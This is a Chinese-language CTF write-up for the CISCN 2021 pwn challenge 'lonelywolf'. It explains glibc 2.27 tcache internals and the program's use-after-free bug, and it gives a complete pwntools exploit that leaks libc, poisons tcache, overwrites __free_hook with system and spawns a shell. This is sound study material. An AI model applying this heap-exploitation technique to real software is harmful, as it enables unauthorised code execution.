write up ciscn 2021 -- lonlywolf
经过了一段时间的研究,我终于弄懂了Tcache的结构,太折磨了,网上的资料还少,只能自己一点一点的分析,这题的write up还有一个版本我没有发出来,因为那时候我还没有完全的弄懂这一题只是跟着大佬的write up记性分析写了个自己分析的过程,现在这一题基本上已经完完全全搞明白了,就分享出来给大家学习用吧。
lonlywolf
先来介绍一下这一题吧,参加这次ciscn之前,我和几个好哥们基本上没怎么做过ctf的习题,当时我还以为网络安全只有web这一个方向,当然这次比赛我们也是空手而归,但是呢,我们几个哥们也在这次比赛中找到了自己的方向,我呢也就开始了二进制安全的学习,刚开始我其实是现学的逆向,慢慢的才接触到pwn的,扯远了。
这一题呢也正好是那次ciscn比赛pwn的第一题,先来查看一下它的保护机制吧。
可以看到这一题是一个64位小端的elf可执行程序,保护机制全开了,而且这题附件中给的是glibc-2.27,那说明远程环境的glibc一定也是2.27的版本。
那有基础的小伙伴应该是知道的,在glibc-2.26的时候引进了一个新机制Tcache,为了防止有的小伙伴不了解这个机制我在这里进行一些简单的讲解。
Tcache机制
libc-2.26引进的新机制,默认是开启的,值的注意的是每个线程默认使用64个单链表结构的bins,每个bins里最多存放7个chunk,chunk在64位机器上以16字节递增,从0x20到0x410,32位机器上则以8字节递增,从0xc到0x200。
它的结构大致是这样的,引入了两个新的数据结构,tcache_entry和tcache_perthread_struct。
tcache_perthread_struct位于对开头的位置,这说明它本身也是一个堆块,大小为0x250。其中包含数组entries,用于放置64个bins的地址,数组count则存放每个chunk的数量。每个被放入bins的chunk都会在其用户数据中包含一个tcache_entry(即fd指针)。
做这一题了解这些还是不行,因为比赛给的glibc-2.27是带有double free检测的,所以这一题我们得当成glibc-2.28的题目来做,double free检测机制就新增加了一个标志位key(就是bk的位置),用于表示chunk是否已经存在tcache bin中。
知道了这些我们就可以来解这一题了。
分析
使用IDA对该程序进行反编译
可以看到是很常规的模板题,有申请,写入,打印,释放,和退出程序这几个功能。
allocate()函数的具体逻辑
可以看到限制了我们申请堆块的大小,而且使用buf(bss段)来保存申请的地址空间,这样写会存在一个问题,当你申请第一块空间后,buf保存的是第一块空间的首地址,当你再次申请空间buf里存储的就是这次你申请的空间的首地址了,那这个index是没有啥用的,反正你也没法访问其他的地址内容了,只能访问当前buf保存的那一片地址。
edit()函数
这里存在off by null 的漏洞但是我们并不会利用这个漏洞进行攻击,也就是说可能不止我们这一种攻击方式。
show()函数
可以看到show函数就很常规了,打印出堆块中的内容,这个可以用来泄漏信息。
delete()函数
可以看到这里的漏洞就比较明显了,释放了堆块但是却没有销毁指针,会造成double free和UAF漏洞。
我的攻击思路是,先利用double free泄漏我们申请的堆块的地址,以此得到tcache_perthread_struct的地址,利用edit函数将0x250的count改大,因为对于0x250大小的tcache bin里最多能存储7个该大小的堆块,我们将它改成大于等于7的数,就可以让系统以为0x250大小的tcache bin满了,那我们将tcache_perthread_struct free掉,因为tcache_perthread_struct大小为0x250已经超过了fastbin的范围,所以tcache_perthread_struct就会被放进unsorted bin里,因为unsorted bin只有这么一个被free掉的chunk,所以它的fd和bk指针会指向arena+xx,我们得到该地址减去xx就会得到arena的地址,再减去0x10就是malloc hook的地址,这样我们就可以泄漏libc的基址,就可以进行接下来的攻击了。
exp
from pwn import *
context(arch='amd64')
# ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
# libc_path = "/home/fanxinli/ctf_go/pwn/ciscn/lonely/libc-2.27.so"
p = process("./lonelywolf")
context.log_level = "debug"
def new(size):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline("0")
p.recvuntil("Size: ")
p.sendline(str(size))
def edit(con):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("0")
p.recvuntil("Content: ")
p.sendline(con)
def show():
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline("0")
def free():
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline("0")
# leak heap addr
new(0x78)
free()
# gdb.attach(p)
edit("a"*0x10) # bypass tcache double free
# gdb.attach(p)
free()
# gdb.attach(p)
show()
# gdb.attach(p)
# print(p.recv())
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))
# alloc to tcache control head
head = info-0x250
new(0x78)
edit(p64(head))
new(0x78)
new(0x78)
#gdb.attach(p)
# free head --> leak libc
pad = p64(0)*4+p64(0x00000000ff000000)
edit(pad)
#gdb.attach(p)
free()
#gdb.attach(p)
show()
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))
# count
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
base = info-0x70-libc.sym["__malloc_hook"]
sys = base+libc.sym["system"]
f_hook = base+libc.sym["__free_hook"]
print("f_hook: ", hex(f_hook))
print("sys: ", hex(sys))
# alloc to free_hook-0x8
new(0x40)
edit(p64(0)*4)
new(0x10)
edit(p64(f_hook-8)*2)
new(0x40)
edit(b"/bin/sh\x00"+p64(sys))
free()
p.interactive()
注意
为了弄懂这一题我进行了多次的调试
new(0x78)
free()
gdb.attach(p)
代码运行到这里的时候我是用gdb调试了一下,发现并不像大佬的说的那样存在double free检测机制,原因可能是我本地的环境也是glibc-2.27,但是我没有对本地的glibc进行更新,所以它没有double free检测机制。
pad = p64(0)*4+p64(0x00000000ff000000)
edit(pad)
gdb.attach(p)
代码运行到此处我也进行了gdb的调试,可以看到0x250对应的count已经被我写成了0xff,这样我们free掉这一片chunk的时候,这片chunk就会被放到unsorted bin里。
free()
gdb.attach(p)
show()
运行到此处unsorted bin里chunk的fd指针指向的内容为main_arena+96,我们将此信息打印出来减去96即是main_arena的地址,再减去0x10即是__malloc_hook的地址,这样就能泄漏libc基址了。
base = info-0x70-libc.sym["__malloc_hook"]
接下来就可以得到我们想要的____free_hook的地址和system函数的地址,那么接下来我们需要做的就是申请到____free_hook-8这一块chunk,为什么是__free_hook-8呢?因为我们要写入system函数的参数,然后在将 _free_hook的内容改为system函数,这样我们使用free函数就相当于执行了system("/bin/sh")得到shell。
new(0x40)
edit(p64(0)4)
new(0x10)
edit(p64(f_hook-8)2)
new(0x40)
edit(b"/bin/sh\x00"+p64(sys))
先申请0x40个空间实际申请到的是tcache_perthread_struct的所有的counts,再次edit(p64(0) *4)相当于将部分counts归零,new(0x10)再次申请0x10个字节大小的chunk,然后edit(p64(f_hook-8) *2),这一顿操作就是在0x40大小的entry里写入free hook-8的地址,再次申请0x40个字节大小的chunk就会将free hook-8这块chunk返回给我们,我们将“/bin/sh”和system函数写入即可。
最后free就相当于执行了system("/bin/sh")得到shell。